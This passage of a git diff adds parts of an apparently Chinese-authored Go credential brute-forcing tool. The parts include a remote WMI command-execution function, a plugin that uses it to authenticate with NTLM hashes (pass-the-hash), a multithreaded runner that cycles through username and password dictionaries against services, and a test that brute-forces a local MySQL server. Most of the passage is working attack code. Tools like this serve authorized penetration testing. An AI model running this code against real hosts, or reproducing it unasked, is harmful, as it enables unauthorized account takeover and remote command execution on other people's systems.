+ //e.log.Info("Response shorter than expected... possible error in command? Expected > 1145, got ", len(resp))
+ return nil
+ }
+
+ }
+ e.stage = nextStage
+
+ }
+ }
+
+ return nil
+}
+
+func WMIExec(target, username, password, hash, domain, command, clientHostname string, timeout int, cfgIn *WmiExecConfig) error {
+ // 随机 sleep 防止出现 connect: host is down
+ r := rand.Intn(1000)
+ time.Sleep(time.Duration(r) * time.Millisecond)
+ //
+ if cfgIn == nil {
+ cfg, err := NewExecConfig(username, password, hash, domain, target, clientHostname, timeout, true, nil, nil)
+ if err != nil {
+ return err
+ }
+ cfgIn = &cfg
+ }
+ execer := NewExecer(cfgIn)
+ err := execer.Connect()
+ if err != nil {
+ return err
+ }
+
+ err = execer.Auth()
+ if err != nil {
+ return err
+ }
+
+ if command != "" {
+ if execer.targetRPCPort == 0 {
+ //execer.log.Error("RPC Port is 0, cannot connect")
+ return errors.New("RPC Port is 0, cannot connect")
+ }
+
+ err = execer.RPCConnect()
+ if err != nil {
+ return err
+ }
+ err = execer.Exec(command)
+ if err != nil {
+ return err
+ }
+ }
+
+ return nil
+
+}
+
+func toUnicodeS(s string) (string, error) {
+ s, e := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder().String(s)
+ if e != nil {
+ return "", e
+ }
+ return s, nil
+}
diff --git a/pkg/crack/plugins/wmihash.go b/pkg/crack/plugins/wmihash.go
new file mode 100755
index 0000000..07eab3b
--- /dev/null
+++ b/pkg/crack/plugins/wmihash.go
@@ -0,0 +1,18 @@
+package plugins
+
+import (
+ "github.com/niudaii/crack/pkg/crack/plugins/wmiexec"
+ "strconv"
+ "strings"
+)
+
+func WmiHashCrack(serv *Service) int {
+ err := wmiexec.WMIExec(serv.Ip+":"+strconv.Itoa(serv.Port), serv.User, "", serv.Pass, "", "", "", serv.Timeout, nil)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/runner.go b/pkg/crack/runner.go
new file mode 100644
index 0000000..8268cc3
--- /dev/null
+++ b/pkg/crack/runner.go
@@ -0,0 +1,156 @@
+package crack
+
+import (
+ "fmt"
+ "github.com/cheggaaa/pb/v3"
+ "github.com/niudaii/crack/internal/utils"
+ "github.com/niudaii/crack/pkg/crack/plugins"
+ "github.com/projectdiscovery/gologger"
+ "strings"
+ "sync"
+ "time"
+)
+
+type Options struct {
+ Threads int
+ Timeout int
+ Delay int
+ CrackAll bool
+ Silent bool
+}
+
+type Runner struct {
+ options *Options
+}
+
+func NewRunner(options *Options) (*Runner, error) {
+ return &Runner{
+ options: options,
+ }, nil
+}
+
+type Result struct {
+ Addr string
+ Protocol string
+ UserPass string
+}
+
+type IpAddr struct {
+ Ip string
+ Port int
+ Protocol string
+}
+
+func (r *Runner) Run(addrs []*IpAddr, userDict []string, passDict []string) (results []*Result) {
+ for _, addr := range addrs {
+ results = append(results, r.Crack(addr, userDict, passDict)...)
+ }
+ return
+}
+
+func (r *Runner) Crack(addr *IpAddr, userDict []string, passDict []string) (results []*Result) {
+ gologger.Info().Msgf("开始爆破: %v:%v %v", addr.Ip, addr.Port, addr.Protocol)
+
+ var tasks []plugins.Service
+ var taskHash string
+ taskHashMap := map[string]bool{}
+ // GenTask
+ if len(userDict) == 0 {
+ userDict = UserMap[addr.Protocol]
+ }
+ if len(passDict) == 0 {
+ passDict = append(passDict, TemplatePass...)
+ passDict = append(passDict, CommonPass...)
+ }
+ for _, user := range userDict {
+ for _, pass := range passDict {
+ // 替换{user}
+ pass = strings.ReplaceAll(pass, "{user}", user)
+ // 任务去重
+ taskHash = utils.Md5(fmt.Sprintf("%v%v%v%v%v", addr.Ip, addr.Port, addr.Protocol, user, pass))
+ if taskHashMap[taskHash] {
+ continue
+ }
+ taskHashMap[taskHash] = true
+ tasks = append(tasks, plugins.Service{
+ Ip: addr.Ip,
+ Port: addr.Port,
+ Protocol: addr.Protocol,
+ User: user,
+ Pass: pass,
+ Timeout: r.options.Timeout,
+ })
+ }
+ }
+ // RunTask
+ stopHashMap := map[string]bool{}
+ mutex := &sync.Mutex{}
+ wg := &sync.WaitGroup{}
+ taskChan := make(chan plugins.Service, r.options.Threads)
+ for i := 0; i < r.options.Threads; i++ {
+ go func() {
+ for task := range taskChan {
+ addrStr := fmt.Sprintf("%v:%v", addr.Ip, addr.Port)
+ userPass := fmt.Sprintf("%v:%v", task.User, task.Pass)
+ addrHash := utils.Md5(addrStr)
+ // 判断是否已经停止爆破
+ mutex.Lock()
+ if stopHashMap[addrHash] {
+ wg.Done()
+ mutex.Unlock()
+ continue
+ }
+ mutex.Unlock()
+ gologger.Debug().Msgf("[trying] %v", userPass)
+ scanFunc := plugins.ScanFuncMap[task.Protocol]
+ resp := scanFunc(&task)
+ switch resp {
+ case plugins.CrackSuccess:
+ if !r.options.CrackAll {
+ mutex.Lock()
+ stopHashMap[addrHash] = true
+ mutex.Unlock()
+ }
+ gologger.Silent().Msgf("%v -> %v %v", addr.Protocol, addrStr, userPass)
+ results = append(results, &Result{
+ Addr: addrStr,
+ Protocol: addr.Protocol,
+ UserPass: userPass,
+ })
+ case plugins.CrackError:
+ mutex.Lock()
+ stopHashMap[addrHash] = true
+ mutex.Unlock()
+ case plugins.CrackFail:
+ }
+ if r.options.Delay > 0 {
+ time.Sleep(time.Duration(r.options.Delay) * time.Second)
+ }
+ wg.Done()
+ }
+ }()
+ }
+
+ if r.options.Silent {
+ for _, task := range tasks {
+ wg.Add(1)
+ taskChan <- task
+ }
+ close(taskChan)
+ wg.Wait()
+ } else {
+ bar := pb.StartNew(len(tasks))
+ for _, task := range tasks {
+ bar.Increment()
+ wg.Add(1)
+ taskChan <- task
+ }
+ close(taskChan)
+ wg.Wait()
+ bar.Finish()
+ }
+
+ gologger.Info().Msgf("爆破结束")
+
+ return
+}
diff --git a/pkg/crack/runner_test.go b/pkg/crack/runner_test.go
new file mode 100644
index 0000000..538c7e5
--- /dev/null
+++ b/pkg/crack/runner_test.go
@@ -0,0 +1,55 @@
+package crack
+
+import (
+ "testing"
+)
+
+func TestCrackAll(t *testing.T) {
+ /*
+ === RUN TestCrackAll
+ === RUN TestCrackAll/false
+ [INF] 开始爆破: 127.0.0.1:3306 mysql
+ [INF] success root:123456
+ 4 / 4 [-----------------------------------------------------------------------------------------------] 100.00% ? p/s
+ === RUN TestCrackAll/true
+ [INF] 开始爆破: 127.0.0.1:3306 mysql
+ [INF] success root:123456
+ [INF] success test_user:test2022@
+ 4 / 4 [-----------------------------------------------------------------------------------------------] 100.00% ? p/s
+ --- PASS: TestCrackAll (0.02s)
+ --- PASS: TestCrackAll/false (0.01s)
+ --- PASS: TestCrackAll/true (0.01s)
+ PASS
+ ok crack/pkg/crack 0.036s
+ */
+ tests := map[string]*Runner{
+ "false": {
+ options: &Options{
+ Threads: 1,
+ Timeout: 10,
+ CrackAll: false,
+ },
+ },
+ "true": {
+ options: &Options{
+ Threads: 1,
+ Timeout: 10,
+ CrackAll: true,
+ },
+ },
+ }
+ addrs := []*IpAddr{
+ {
+ Ip: "127.0.0.1",
+ Port: 3306,
+ Protocol: "mysql",
+ },
+ }
+ userDict := []string{"root", "test_user"}
+ passDict := []string{"123456", "test2022@"}
+ for name, runner := range tests {
+ t.Run(name, func(t *testing.T) {
+ runner.Run(addrs, userDict, passDict)
+ })
+ }
+}